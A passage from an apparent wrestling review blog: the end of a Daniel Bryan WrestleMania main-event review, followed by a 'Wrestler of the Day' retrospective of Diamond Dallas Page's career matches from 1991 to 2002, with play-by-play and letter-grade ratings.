Rating: A-. It’s long and there are some parts that dragged but this was all about making the impossible happen and they nailed that to perfection. Everything else is a bonus and they actually had me thinking Orton would retain with that RKO. It was all about Daniel Bryan though and that’s exactly what it needed to be. Excellent match and it gave us the moment we were looking for.

A HUGE celebration follows with fireworks, confetti (I snagged a piece for a souvenir) and Bryan’s sister and niece coming in to celebrate with him. The celebration went on for awhile after the show went off the air with nothing you wouldn’t expect.

Daniel Bryan is living proof that wrestling ability and charisma can get someone to the top of the wrestling world. He’s been around far longer than most people realize and has risen to the top of whatever company he’s been in. I was skeptical when he signed with WWE but he’s done incredibly well and become one of the most entertaining guys on the roster. When you get a Wrestlemania centered around you, you’re clearly doing something right.

Remember to follow me on Twitter @kbreviews and pick up my new book of on the History of Clash of the Champions at Amazon for just $3.99 at:

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Wrestler of the Day – April 5: Diamond Dallas Page

Yo it’s him it’s him it’s DDP.

 

Page got his start in the AWA as a manager after spending years in the nightclub business. After the company started to go under, he got a job in WCW and decided to become a wrestler in his mid 30s, which is unheard of. Somehow he made it and debuted in late 1991. Here’s one of his earlier matches as part of the Battlebowl competition at Starrcade 1991.

Bill Kazmaier/Jushin Thunder Liger vs. Mike Graham/Diamond Dallas Page

Kazmaier is a former winner of the World’s Strongest Man competition, Liger is a Japanese masked man and one of the best high fliers of all time, Graham is mainly known for training wrestlers, and Page is a glorified manager who would become MUCH better in about six years. Liger is also the brand new Light Heavyweight Champion, having won the title on Christmas night.

Graham and Liger start things off and they fight for arm control. Liger catches Graham with a headscissors to send Mike out to the floor as it’s clear that Graham is completely out of his league against Jushin. Off to Kazmaier who is just massive. Graham is literally thrown around and it’s off to Page who can’t do anything against the power of Kazmaier either. A gutwrench slam puts Page down but Kazmaier misses a middle rope splash.

Page comes in and chokes away a bit before Kaz easily sends him out to the floor. Tag off to Liger who takes Page down with a spinwheel kick and a slingshot splash gets two. Graham comes in to face Kazmaier with the power guy taking over again. Off to Liger to work on the arm as this match is starting to drag. Liger hooks his always awesome surfboard hold but Graham comes back with a Boston Crab, only to have Liger kick him forward into a rollup.

A backslide gets two for Graham but Liger takes him to the mat with a leg lock. Kazmaier gets the tag and Graham immediately rolls over to the corner to bring in Page again. Back to Graham vs. Liger after almost nothing of note from the other two. Liger fires off some rapid fire kicks to Graham’s chest and tags Kazmaier back in.

Page finally helps with some double teaming to take control but Kaz casually picks Graham up and walks him to the corner for the tag off to Liger. Graham misses a charge in the corner and falls to the floor where Liger hits a big flip dive. Back in and Liger hits a middle rope moonsault for two as everything breaks down. Kazmaier picks up Liger and throws him onto Page for the pin in a fairly smart ending.

Rating: D. This was REALLY dull with Graham being as generic of a wrestler as you can possibly imagine. Kazmaier’s strength was more than enough to get him through a match and Liger was his usual good self….when he had any help at all. Page and Graham were just worthless here and they really dragged things down. Not a good match at all.

Page would have a lame 1992, be fired for most of 1993, then come back in early 1994. Here’s one of his first matches back, from Spring Stampede 1994.

Johnny B. Badd vs. Diamond Dallas Page

He’s a sheriff in red tonight. Yep he looks like an idiot but he’s opening ANOTHER PPV. Is this a sick joke or something? The line of HE’S SO BAD always makes me laugh as I guarantee it’s not meant to sound the way I’m thinking about it. Page is still worthless as all goodness here but whatever. Kimberly always looked great though. Page has money now and is rich so he gives Heenan a thing with his initials in diamonds on it so now he’s loved.

Page is in an armbar and needs to have his mouth washed out with soap apparently. Heenan and Tony get into a stupid argument about stomachs as you can tell they’re not that interested in this either. These two would feud for what felt like ever and it just never would end. This hasn’t been bad but it certainly hasn’t been that good either. Badd more or less botches a headscissors and then dives over the top to make up for it. The top rope sunset flip ends this.

Rating: C+. Not bad but not great. The fans were into Badd so that’s a fine choice for the opener. This was a pair that kept going at it for months and before Page finally lost the final match, Badd went to WWF and got laughed at on WCW TV. The feud helped Page a lot though and was one of the first signs that he had potential.

We’ll jump ahead to Fall Brawl 1995 where Page is challenging Renegade for the TV Title. This is during a BIZARRE storyline for Page as he was a bum with nothing before winning $13 million on a Bingo ticket. He’s bought himself new gear and is getting confidence, all the way to the point where he’s got a title shot.

TV Title: Diamond Dallas Page vs. Renegade

So more or less, one of these guys was supposed to be a big deal and bombed and one was supposed to be a joke and became a big deal. You can figure out which. Page jumps Renegade to start. In a great line from Bobby: “This is a new DDP. This man has energy. This man has vision. This man is…flat out on the floor!” Dang he is cracking me up tonight. Kimberly is getting ticked off at having to do what DDP said.

She would get far hotter when she straightened her hair. Renegade just can’t do much and on top of that, no one liked him. It’s mostly DDP in control here as even though he’s green as goodness, he’s FAR better here. They point out that this is the longest Renegade match ever. That’s just not a good sign at all. To be fair though, Rob Terry is doing the same thing today and he seems to be a success.

Renegade makes his comeback with no one caring. Hart is freaking out on him as we hear again how WCW is number one. Page gets a sweet jumping DDT for a counter though which helps things out a lot. Maxx Muscle goes after Hart so Renegade jumps at him. He grabs Renegade’s foot to allow the Diamond Cutter for the pin and DDP’s first title.

Rating: D. This was the right decision about a million times over. Renegade just was not any good at all and DDP was rapidly getting better. They had to make the change to someone. This was one instance where they saw the writing on the wall and just pulled the plug on a terrible angle.

As mentioned, Page would feud with Johnny B. Badd for months, only to have it cut off by Badd jumping to the WWF before the big blowoff. Page had lost the TV Title as well as most of the money as it turned out his valet Kimberly had been playing the Bingo game and the money was rightfully hers. Page, with nothing left, put up his career against a shot at the Booty Man (Brutus Beefcake, a replacement for Badd) and the remaining money at Uncensored 1996.

Diamond Dallas Page vs. Booty Man

Oh where do I even start here. Ok, Booty Man is Brutus Beefcake first of all, who is freshly face again, having been a heel in the Dungeon of Doom, only to be thrown into this match with the explanation that he was sent in by Hogan as a spy and was really a good guy all along. That….actually could work. I mean think about it: is that really such an insane plot idea?

I certainly wouldn’t think so. I mean it’s certainly not great or fleshed out or anything, but considering it was likely thrown together at the last minute it’s fine by me. Now, you might be wondering why we’re even having to talk about Brutus here. Well, this was supposed to be Johnny B. Badd fighting DDP for the 12th time in a week or something like that, as they had been feuding forever.

Why were they feuding? Well, DDP was this poor guy that got some money together and went to play Bingo with Kimberly. He bought her ticket and she won $12 million dollars at a freaking Bingo game. I want to play in that game! Anyway, they went to court over it and the judge gave it to her. The thing was, he had already spent a ton of it, and Johnny was the only guy that would defend her.

The TV Title got involved in there too but it wasn’t important. Anyway, this is money vs. career so there we are. Badd had jumped ship about two weeks before this to WWF as Marc Mero and debuted 7 days after this. So with no one at all to go to, they turned Brutus into the Booty Man of all things and we have this.

Think about that story for a bit: that’s pretty much the main midcard feud: a feud over a game of Bingo, and people wonder why this company sucked so much at this time. DDP is allegedly penniless here, but he has enough to get tights and boots. He’s doing some almost biker gimmick or something here too. Oh and Kimberly is called the Booty Girl now. Page looks like garbage here. Brutus is wearing the same tights he wore as the Barber but now he’s wearing a headband and has a REALLY bad song.

They bury Badd before the match, saying he decided he just couldn’t compete in WCW anymore. Ouch. It’s a shame he had about 5 times as big of a career in WWF than he ever would have in WCW where he would have been swallowed by the NWO in six months and gone to WWF for half the money later on. Yep, his life sucked. Sadly, we haven’t even started the match at this point.

We start with Page hiding and smoking a cigar as Brutus is apparently a Hulkamaniac. The way his tights are cut Brutus looks like he’s wearing a really big thong. They haven’t actually made contact yet. HE LOCKED UP WITH HIM! HE LOCKED UP WITH HIM!!! After that, we waste some more time. We’ve been going for almost three minutes before they actually do any real wrestling.

We get a great line of after the money came in, the Diamond Doll (Kimberly) got built up with Page. Think about that for a minute and you’ll get it. Anyway, they finally get going here and in a funny bit, Heenan starts talking about the angle and Dusty talks over him. Bobby starts getting upset and complaining, saying that he won’t talk anymore and it’s now the Tony and Dusty Show. BOBBY, PLEASE FOR THE LOVE OF THINGS GOOD AND MADE OF PORK TALK TO US!!! DON’T DO THIS TO US!

Thankfully he’s back a few seconds later. Dusty actually says Brutus is a skilled mat wrestler. Yep, that’s what he said. Anyone want to place a bet on him topping that one later on? As Dallas is on the floor, Kimberly comes out looking like a roller disco cheerleading French maid. Trust me, you would describe her the same way. This is just horrible. It’s more or less a dance recital with some arm work in there.

That was the absolute worst mistiming thing I’ve EVER seen. DDP reverses an Irish Whip and then I have zero clue what they were planning as Page lays down on his back and Brutus bent forward after running like he was going to back drop Page. I really don’t know what that was supposed to be but even the announcers can’t hide the fact that it was horrible looking.

I mean TONY FREAKING SCHIAVONE says “Oh what was that?” in a very sarcastic tone. They try to say it was a botched arm drag but that doesn’t work. OH! They repeated the spot (imbeciles) and it was supposed to be Brutus goes for a cross body and Page ducks. The problem was that the first time I think Brutus was thinking shoulder block or something. It was so obviously a repeat of the spot and it just looked awful.

You can tell that Page, who likes to map stuff out, has no clue what to do here. He liked to have his whole matches scripted beforehand, something Randy Savage was notorious for in his best days, but this was thrown together so there we are. Also, this is nowhere NEAR the DDP that you’re used to. Kimberly wants Brutus to be her boyfriend. That’s her exact line. Is she wanting to participate in a drug intervention or something?

In another jab at Badd, they say that Page signed to fight bad and the announcers unanimously agree Page would have won. They say a heel would beat a face, which sums everything up. Heenan says if she’s looking for a boyfriend to put an ad in the paper. Bobby says that in that outfit the only person she could get is a fellow acrobat. Page kisses Kimberly, leading to a high knee for the pin.

Brutus “keeps” Kimberly due to the stipulation. WCW: a slave trader’s paradise! Brutus kisses her. I’d recommend about a week in a dentist’s office along with a high dose of antibiotics. She’s the Booty Girl now. I’m out of jokes here so post amongst yourselves. Page would of course be back and somehow wrestle THREE MATCHES at the next PPV. Good to see they’re keeping their promises.

Rating: D. This went WAY too long. To be fair, Kimberly looked pretty good so it gets points for that. It also launched DDP’s career as he became this guy that despite being fired still was filmed by WCW cameras and shown on WCW TV. He would get some mystery benefactor that was never revealed due to the NWO. He would return and become the character we all know and at least like, launching him into the stratosphere in WCW.

Page’s absence lasted about a month as a benefactor (never revealed but planned to be Kimberly) got him back on his feet, allowing Page to come back and start racking up wins. One of these wins would be at Slamboree 1996 where Page won the competition and became Lord of the Ring. This was part of a four month winning streak which was broken in August by Eddie Guerrero. Page would go on another three month winning streak, eventually earning a spot in a tournament final for the vacant US Title, against none other than Eddie Guerrero. From Starrcade 1996.

US Title Tournament Final: Eddie Guerrero vs. Diamond Dallas Page

Ric Flair had been champion but had to vacate the title due to a shoulder injury. The idea of this feud (they had fought over the summer too) was to have Page get better by working with a guy as talented as Guerrero. This is after Page lost his $6 to the Diamond Doll (now named Kimberly) and the TV Title due to a bingo card that she won $13 million on which he bought for her. This era of WCW was weird if I didn’t mention that already.

The title is vacant coming in if that wasn’t clear, although the belt isn’t here. It was stolen by the Giant who claimed that he was champion because he wanted to be, so this is for just the name at this point. Feeling out process to start until Eddie takes him into the corner for some chops. Instead of following up Eddie backs off though and lets Page fire off some right hands. A dropkick puts Page on the floor and Eddie rams him into the barricade for good measure.

Like a good heel, Page goes to the eyes to take over and sends Eddie into the steps. Back in and Eddie takes him down with a drop toehold and into an armbar. Eddie stays on the arm with a wristlock as Tony implies that he was scalping tickets before the show. Page takes him down by the hair a few times but Eddie nips right back up. Guerrero low bridges Page to the floor and hits a good looking dive to take him down again. Back in and Eddie is dropped chin first on the top turnbuckle and Page takes over for the first time.

A Pancake (piledriver position but dropping forward instead of down) puts Guerrero down again and it’s off to a chinlock. A suplex gets two on Eddie and Page yells at the referee a bit. Off to an abdominal stretch by Page and he grabs the ropes for extra leverage. Eddie escapes, only to get caught in a swinging neckbreaker for two. Back to the abdominal stretch but Page finally gets caught and has his hold broken by the referee.

Eddie gets another two count off a small package but Page takes his head off with a discus lariat for no cover. Page misses a charge and goes shoulder first into the post, allowing Eddie to take him down with a leg trip. Eddie pounds away and hits a solid European uppercut before ramming Page into the buckle. A suplex gets two on DDP but Eddie’s frog splash (mostly) misses.

Page gets two of his own off a belly to belly suplex, only to go up and get crotched down by Guerrero. Eddie is shoved off the top but Page dives into an atomic drop for two. A pair of backslides gets two each for Eddie but Page’s helicopter bomb gets the same. Eddie is sent to the floor, allowing the NWO to come in and lay out DDP. Guerrero didn’t see a thing so he hits the frog splash for the pin and no belt.

Rating: C+. This took awhile to get going but it was clear that Page wasn’t ready to be a heel at this level yet. Thankfully he turned face soon after this and became the hottest thing in the company as he fought the NWO. Eddie would slip down to the cruiserweight division and dominate there for awhile, meaning that better days were ahead for both guys.

Page would soon make the move that would change his entire career. The NWO tried to recruit him, but Page would do something unthinkable: he turned them down. This immediately put him on the front lines of the war against the NWO and here’s one of his first major matches, from Spring Stampede 1997.

Randy Savage vs. Diamond Dallas Page

We get the long walk to the ring with Savage and Liz. Savage wants to make it a party. “SLIM JIMS FOR EVERYBODY!!!” This is the first main event for Page. He cuts a quick promo before the match about having to stand up for what he believes in. Savage did something to Kimberly so this is a revenge match. It’s not important enough to mention, but it’s worth revenge. Ok then. This is No DQ.

Savage stalls like he’s in Memphis (it’s close to it) but jumps Page to get us going. Page fights back and they go into the ring. He tries something like a suplex but I have no idea what it wound up being. A quick Cutter attempt is countered and Page is sent to the floor. They go into the crowd and the camera chasing after them is kind of cool. Page grabs a trashcan to blast Savage in the head. Savage is NWO in case that means anything to you.

They brawl back to the ring with some choking on the way. Savage hides behind Kimberly and Liz rakes Page’s back. There’s the ax handle to the floor and Page is sent into the floor. With Page down, Savage chases Kimberly but is stopped by an attractive chair. After a shot to the back he beats up Dave Penzer and brings in another chair. Coming back in Page manages something like a Van Daminator but with a shove instead of a spin kick.

Unfortunately for Page he can’t follow up so Savage chokes away in the corner. Page makes a quick comeback but is knocked right back don. Discus lariat out of nowhere puts Savage down but Page is spent. Savage slams him three times and goes to the floor to get the bell. Kimberly steals it from him but Savage jumps anyway, right into the feet instead of the elbow. I HATE that spot. Cutter is countered with a low blow for two.

Savage beats up the referee after the count and hits a good piledriver on him. He takes the belt off of Mark Curtis and whips him a little bit. The elbow hits but there’s no referee. Cue Nick Patrick in the sleeveless shirt of EVIL. Diamond Cutter out of NOWHERE hits and Patrick counts the pin because of the Nash stuff earlier.

Rating: B-. Good match here with Page pulling off a great upset win to pop the crowd and send them home happy. The brawling wasn’t great but they did it well enough for what the purpose here was. These two would feud over most of the summer and it brought Page up to the main event level that he would stay at for years.

The win would launch Page to the next level and lead him to matches like this, from October 27, 1997 on Nitro.

Diamond Dallas Page vs. Hulk Hogan

Non-title of course and amazingly this isn’t the main event. Page of course has taped ribs as he always does. Hogan immediately shoves Page into the corner but Hogan takes him down with a hammerlock. Page is in jeans here. Hogan slugs him down as Tony plugs Assault on Devil’s Island some more. All Hollywood so far as he clotheslines Page down for two. A jumping knee to Page’s face puts him down again but DDP comes back with the driving shoulders.

Page tries for the Cutter but Hogan immediately bails to the floor. Back in and the discus lariat takes Hogan down and out to the floor again. Hogan gets back in and slams Page down before dropping some elbows and choking away. Page is sent to the floor and out into the barricade before suplexing Page down on the floor. Back in and Diamond grabs a quick neckbreaker for two but gets caught in an atomic drop for the same for Hogan.

Hollywood goes after the ribs and hits a BIG running clothesline in the corner. Hogan hits a suplex for three straight two counts before DDP comes with with a bunch of punches to send Hogan to the floor. That goes nowhere so it’s back inside for the big boot from Hogan to stop Page cold. The legdrop misses though but a fake Sting (might be Syxx) comes out and jumps into the Diamond Cutter as the bell rings for a DQ.

Rating: C-. Not the worst match in the world as Hogan actually went almost fifteen minutes for free on television. It was his usual heel stuff with really basic moves, but he had the crowd riled up which is what Hogan was a master at doing. Page hung in there and the run in finish was the only thing they could do here. Decent match though.

Earlier in the year, Page had brought in Curt Hennig as a mystery partner. Hennig eventually turned on WCW and Ric Flair in particular before taking the US Title over to the NWO. Page had a chance to win it back at Starrcade 1997.

US Title: Curt Hennig vs. Diamond Dallas Page

Hennig is defending and had been feuding with Flair for months, but Flair is hurt so Page is subbing for him. Curt is also NWO of course. Apparently Page stole the physical belt last night on Saturday Night….and then gave it back before the match tonight. That sounds like an idea they had and then dropped. Page has bad ribs which he had for months on end. Hennig gets elbowed in the face a lot and knocked out to the floor for a breather.

Back in and Hennig wisely goes after the bad ribs before putting on a chinlock. Thankfully it doesn’t last long as Page counters into the much more interesting headlock. Curt fights up and is put right back into the hold as the match continues to go slowly. Back up and they head to the floor where Hennig snaps Page’s throat across the top rope to take over. Page also goes ribs first into the steps as Hennig is thinking with his attack here. They go back into the ring where Curt pounds on the ribs even more.

Page tries to fight back but charges into a boot in the corner and a clothesline takes him down. Off to a chinlock which must be left over from the Bagwell match. The fans start chanting boring as this hold drags on for over a minute. Page finally fights up and hits a jawbreaker to escape before punching Hennig out to the floor. A dive over the top puts Hennig down again and Page throws him into the crowd to continue the beating.

They head back inside where Hennig gets to do his reverse crotch against the post spot. The Diamond Cutter is blocked by a grab of the ropes though and Hennig gets two. A rollup gets two for Page but Hennig clotheslines him down for two. Hennig loads up his Hennigplex but Page counters into a Diamond Cutter. He totally botched the move though and it looks like an armbar. They both get back up and Page hits the Diamond Cutter out of nowhere for the US Title and the first win by a good guy of the night.

Rating: C-. This wasn’t great and the botched ending hurt it a bit. Still though, it’s nice to see the fans have something to cheer for, even though it took them nearly two hours to get there. To say the Diamond Cutter was a popular move is the understatement of the year, as the fans went nuts when he hit it. This was a pretty dull match until the Cutter hit.

Now the US Champion, Page would enter a feud with Chris Benoit and Raven, setting up this match against Benoit SuperBrawl VIII.

US Title: Diamond Dallas Page vs. Chris Benoit

Benoit is challenging in a rematch here after the Flock cost him his first title shot. Page starts with his driving shoulders but Benoit cartwheels out of the wristlock. A quick armdrag takes Page down and the champion isn’t sure what to do. Page comes back with a gutbuster but Benoit drapes him bad ribs first over the ropes. A quick Crossface attempt doesn’t work (nor is it acknowledged by the announcers) and they try a test of strength. Benoit is taken down but counters into a quick pinfall reversal sequence for a few near falls.

The Diamond Cutter attempt is escaped and Benoit takes a breather on the floor. Back in and it’s time to fight with Benoit hitting a hard right hand to the face. Another pinfall reversal sequence ends with a wheelbarrow suplex from Page for two but Benoit comes back with a dropkick to the knee. We hit the chinlock but Page fights up with a jawbreaker, only for Benoit to kick him in the bad ribs to take over again.

A snap suplex gets two and it’s back to a chinlock with an arm trap. Benoit switches to a sleeper but Page backdrops him to the apron and crotches him on the top to escape. Page superplexes him down but neither guy can follow up. A discus lariat gets two for the champion and a top rope clothesline gets the same. Benoit hooks a quick Crossface but Page is in the rope. Page counters a German suplex into a belly to belly for two but Benoit is like boy I do the suplexes around here and rolls some Germans for a near fall. A jumping DDT gets two on Chris but a backslide is countered into the Diamond Cutter to retain the title.

Rating: B+. Great match here and one of Page’s best ever. This is a rare occasion where both guys came out looking great because Benoit got caught, not defeated. Both guys were working hard out there and it became a chess match of who could get their big move first. Very good match here and both guys looked great.

Page’s war against the NWO continued as he would team with Jay Leno of all people against Hogan and Bischoff at Road Wild 1998.

Jay Leno/Diamond Dallas Page vs. Eric Bischoff/Hollywood Hogan

Thank goodness they don’t have another video package to set this up. The one good thing about this: Liz ROCKING some jeans and chaps. Leno is apparently here to defend his title as King of Late Night. Kevin Eubanks is at ringside. Leno throws water at Hogan and Bischoff on the floor to show how serious he is. Hogan and Page start (thank goodness) and we get the usual non-action headlined by a wristlock.

Page drives in the shoulders and hits a big right hand, knocking Hogan into a left hand from Leno. Hogan is sent to the floor and the ripped Kevin Eubanks sends him into the post. Leno leads a chant against Hogan and is at least into the match. Bischoff comes in and Jay tries to go after him but gets held back. Page shrugs off some kicks to the chest and it’s off to Leno. Bischoff runs away to Hogan and Jay stays in. He points at his chin and makes fun of Hogan’s baldness which is about what you would expect. Leno avoids a pair of right hands and tags in Page.

Hogan clotheslines Page down and it’s back to the driving shoulders. Leno comes back in to grab the wrist and in one of the most painful things I can remember seeing as a wrestling fan, Hogan sells it. He wouldn’t sell for Sting at Starrcade but he’s selling for Jay Leno. Hogan shoves him into the corner and drives in a knee but Leno grabs the wrist again. A double clothesline puts Hogan down and Leno gets two before nearly collapsing into a tag to Page. Ok to be fair to Leno, he did his job and was actually trying. Points for that.

The wrestlers head to the floor and Eubanks steals a chair from Hogan to keep Page in control. Back in and Bischoff gets in a kick to the back of Page’s head to change momentum. Bischoff gets in his shots to make himself feel important before Hogan gets in a shot with a foreign object to give Eric a two count. There’s the big boot but Page gets up before the legdrop and takes Hogan down with the discus lariat.

Leno gets the hot tag and we get the showdown with Bischoff…..who drops Leno with a poke to the eye. Jay comes back with a low blow and some right hands before sending Bischoff into some buckles. Leno is totally gassed and everything breaks down. Hogan hits Bischoff by mistake and Eubanks hits a very good looking Diamond Cutter on Bischoff to give Leno the pin.

Rating: D. Of course that’s on an adjusted scale. This match wasn’t horrible but it was incredibly stupid. Again I’d like to reiterate that Leno did his job to the best of his ability. He did his comedy stuff, took a few shots from Hogan and got the pin on Bischoff. He was bad, but you knew that was going to happen as soon as this was announced. As for the booking, there were a bunch of other ideas they could have gone with here and this was probably the worst possible outcome.

You could have gone with the Battle of the Billionaires idea with Leno backing Page against Hogan in a singles match and done the showdown with Bischoff that way. You could have swapped in Goldberg for Page and done Goldberg vs. Hogan II with the same Leno vs. Bischoff outside stuff. Do that and put Page in the battle royal to get Goldberg’s next challenger. You could have done any of those things and gotten a better result, but it wouldn’t be WCW if they had gone that way.

Soona fter this he would win WarGames and a World Title shot at Halloween Havoc 1998 against the undefeated Goldberg.

WCW World Title: Goldberg vs. Diamond Dallas Page

Let’s stop it here for a second because this is where it all fell apart. See, WCW decided that this show should be extra long and asked the PPV companies to give them an extra thirty minutes. Unfortunately this was 1998 and not that simple, so a lot of feeds went off somewhere between the end of the Warrior vs. Hogan match and the start of the title match. Yeah WCW gave them some advance notice, but that doesn’t put WCW in the clear. If you look at this show, they EASILY could have cut nearly an hour out but WCW just couldn’t let that happen.

Overall the show ran roughly three hours and twenty minutes, so cutting out say 25 minutes would have made this fit the time slot. As I mentioned, we had over 22 minutes of segments that weren’t needed or Nitro Girls (certainly not worthless but not necessary). On top of that there was the Juvy vs. Disco match, Wrath vs. Meng, Finlay vs. Wright, Saturn vs. Lodi and the Tag Title match which all could have been on free TV instead of here. WCW never advertised the show as running longer than usual as far as I know so it’s not like the fans would feel ripped off.

It comes off as a combination of stupidity and somewhat arrogance as the company just figured their plan would work and they just HAD to be bigger than WWF. What did most of the stuff they added here help? What does a Saturn vs. Lodi comedy match (probably six minutes with entrances and a post match replay) do to help the card? It ticked off the fans and cost them a lot of money, but at least they got the Buff Bagwell swerve and a Konnan music video on PPV.

And now, the match. Page’s music is edited on the Network. Page charges right at him a few times and is easily shoved away. An armdrag frustrates Goldberg and they lock up before falling to the floor without breaking it up. Back in and Page tries a legsweep but Goldberg does a standing backflip to avoid it. Men his size should not be able to do that. A bad looking cross armbreaker has Page in trouble and Goldberg shoves him out of the ring to block the Diamond Cutter.

Back in and Page takes him down into a hammerlock but a hard shoulder block puts him on the floor. Page is able to snap Goldberg’s throat across the top rope and he follows up with a swinging neckbreaker. A Russian legsweep gets two and we hit a front facelock. Goldberg knees his way out of it and hits a spinning neckbreaker to put Page down. A hard hiptoss puts Page down and a side slam gets two for the champion. Back to the cross armbreaker but Page makes the rope.

A superkick sends Page flying but he sidesteps the spear, sending Goldberg hard into the post. Page gets two off a flying clothesline and the running DDT puts the champion down as well. He calls for the Diamond Cutter but Goldberg nails him with the spear. It injures his arm though and Goldberg can’t get the Jackhammer. Page slips behind him and grabs the Diamond Cutter but both guys are down. The fans are suddenly WAY into this as Page gets a very close two. Page tries a suplex of his own but Goldberg counters into the Jackhammer to retain the title.

Rating: B. It’s not a masterpiece but it’s definitely Goldberg’s best match ever. The fans were buying into Page as a threat at the end of the match and that’s more than can be said about the vast majority of Goldberg’s opponents. To put it simply, this was a good wrestling match. You can’t often say that about a WCW main event but that’s what you had here.

After feuding with Bret Hart over the US Title, Page would be launched into the World Title scene, earning a spot in a fatal fourway at Spring Stampede 1999 for the belt.

WCW World Title: Diamond Dallas Page vs. Sting vs. Ric Flair vs. Hulk Hogan

No Michael Buffer for the intros. No tags here and it’s one fall to a finish. This is one of the final matches under the People’s Champion era for Page. Flair is champion and comes out first for some reason. He and Sting pair off as Page fights Hogan. Those two never had a big PPV title match that I remember. Sting almost gets the Deathlock on Page inside a minute but DDP makes the rope.

Hogan and Flair fight up the ramp as Page tries a Diamond Cutter. Everyone back in now and it’s getting hard to call all of this. Sting slams Flair off the top which makes things feel right. Hogan takes the weight belt off and whips at the champ as STING ACTUALLY HITS THE STINGER SPLASH AGAINST THE RAILING!!! I’ve been watching him over twenty years and I’ve never seen him hit that.

The weight belt goes back on as it’s just Hogan vs. Flair in the ring at the moment. Hulk no sells the chops and hits the boot and leg. Sting hooked the Scorpion just before that and has to let it go to break up the pin. Flair gets in a shot at Hogan’s knee, because that’s gone so well before right? The Figure Four goes on and Sting misses his second attempt at a splash.

Hogan turns the hold over and Page has to break it up. Page knocks Flair to the floor and we get the Figure Four around the post on Hogan. The trainer runs out to check on Hogan and he has to leave. Even Bischoff comes out to check on him. So it’s a triple threat now and they’re all in the ring. Sting beats up Flair while Page just chills. Flair, after eleven years, still doesn’t get that chops don’t work on Sting. Flair Flip in the corner and he gets clotheslined to the floor.

Page works on Sting’s ribs but Flair is back in now. Discus lariat gets two. Savage is counting slow and hasn’t meant a thing yet. Stinger Splash hits Page and he slams DDP’s face into the mat. Page tombstones Sting for two as Flair breaks it up. Sting superplexes Flair for two. Page puts a sleeper on Flair who has a sleeper on Sting. Sting hits a jawbreaker on both and they’re all up at 9.

Sting gets double teamed and THAT STILL DOESN’T WORK ON HIM. He hits a double clothesline and beats them both down. Splashes for both guys but Page breaks up the Deathlock on Flair. Death Drop takes Page down but Sting can’t cover. Flair puts the Figure Four on Sting and Sting makes the ropes. Flair won’t break it so Savage drags them to the middle of the ring and drops the elbow (Sky Elbow according to Tony) to break it up. A Diamond Cutter to Flair gives Page his first world title.

Rating: C-. Not the worst match ever but I really don’t get what Savage was needed in there for other than a single move. A lot of this dragged really badly but they at least did something. It may not have been interesting but they were doing something. Page turned heel soon after this and it bombed HORRIBLY because people had gotten behind him for being the scrappy underdog that kept pushing until he reached the top. As in like Hardy whose heel turn also bombed. Funny how that works isn’t it?

Page would lose the title to Sting before winning it back later in the night a few weeks later before losing it to Kevin Nash for good about a month and a half later. He would then join the Jersey Triad along with Kanyon and Bam Bam Bigelow, who would dominate the tag team scene over the summer of 1999. However we’ll jump ahead to spring of 2000 when Page started feuding with Jeff Jarrett over the World Title. Through reasons that made my head hurt, actor David Arquette become champion and defended it against Page and Jarrett in a triple cage match at Slamboree 2000.

WCW World Title: David Arquette vs. Jeff Jarrett vs. Diamond Dallas Page

It’s a triple cage match where the bottom is like the Cell and there’s a hardcore cage on top of that, which has a bunch of weapons on it. On top of that there’s a cage with a bunch of guitars around it with a cage a single person can fit into. The belt is hanging from the ceiling above that cage which has to be climbed to pull the belt down. It really is an impressive looking structure.

While the introductions are going on, a few things should be noted about Arquette: he didn’t want to do this but Russo insisted it was a brilliant idea. Second, every dollar he made from this he donanted to the families of Owen Hart, Brian Pillman and Darren Drozdov (recently paralyzed in a match). Before I forget you have to use a ladder to get to the second cage through I’m guessing a trapdoor.

The bell rings and Arquette runs. Well at least he’s thinking. Basically you’ll get Page vs. Jarrett for the majority of the match which means it’ll be decent enough. Page gets a clothesline in the ring and calls for Arquette to go up to the top where he misses a splash. Page tries to get a ladder but Jarrett hits a baseball slide to send Page into the cage again. And down goes David as Page sends Jarrett into Arquette into the cage.

Page posts Jeff and goes for the ladder and ultimately the second cage. Jarrett is busted open but manages to suplex Page off the ladder. The ladder is in the corner and not set up so both guys are sent into it as is the ladder match custom. Jeff brings in a second ladder and they both start climbing. Page knocks him off and is in the second cage first. Jeff follows quickly and instead of just going through the door he grabs a weapon and gets caught.

The floor of the cage they’re in is made of the top of the other cage and has wide spaces, making it easy to slip in. Page is busted also and Jarrett tries to climb the wall, only to get caught. They ram each other into the cage wall and it falls down. Keep in mind they’re on top of something the size of Hell in a Cell. This isn’t exactly on the mat and almost falling to the floor.

Hey, I have a great idea! LET’S SET UP A TABLE ON TOP OF A CAGE WITH BIG HOLES IN THE FLOOR! Page gets something like a powerslam through it and both guys are down. The floor is pretty weak but it’s not as bad as a scaffold match. Arquette hasn’t been seen in about five minutes. There he is and here he comes. Arquette goes to the top of the hardcore cage and is totally alone, meaning he could easily retain the title. Since he doesn’t, you might as well hold up a big sign saying SHOCK HEEL TURN.

Page sets for a Diamond Cutter on Jarrett on top of the Cell (they’re outside the hardcore cage so it’s almost like the moat of a castle if that makes sense) but Mike Awesome pops in to break it up. There’s a Diamond Cutter for him and Arquette is on top of the third cage. Page and Jarrett go up and head into the guitar room. Jarrett misses a shot as does Page. He hands one to Arquette to play defense with and as both wrestlers climb, say it with me, ARQUETTE TURNS ON PAGE. Jarrett wins the title.

Rating: B. Above all else, this match shows the fundamental flaw in Vince Russo’s style: this was a good match and there was zero reason for Arquette to be involved at all. As explained during the match, Jarrett was mad at Page because Page was in Ready to Rumble and he wasn’t. They met in a tournament final at the previous PPV for the title with Jarrett winning and then Page got the belt, making this the blowoff match.

DDP vs. Jarrett in a big gimmick cage match (from the movie so it makes even more sense) is more than ok for a PPV main event. They have chemistry together too so the match was going to be pretty good at least. But for Russo that’s not enough so he adds in David Arquette, making it look like any guy off the street (which for Arquette is true from a physical standpoint) can win the title. The title looks bad and instead of WCW having a match that looks like it’s even more crazy and awesome than Hell in a Cell, this match is remembered for David Arquette coming in as world champion. Just let the wrestlers wrestle.

We’ll skip over the dying days of WCW, Page stalking Undertaker’s wife Sara in the WWF and the horrible Tag Team Title runs against the Brothers of Destruction. Instead we’ll wrap it up with Page, now European Champion, defending against Christian at Wrestlemania 18.

European Title: Christian vs. Diamond Dallas Page

Christian is challenging and he cranks up the heel levels here by saying that he’s now from Tampa instead of Toronto. Page is very POSITIVE at this point but he never worked in WWF. At the end of the day, Page grew up in front of the WCW cameras instead of the WWF ones, so there was no connection to the fans. He was just an old guy with a good finisher and not much else.

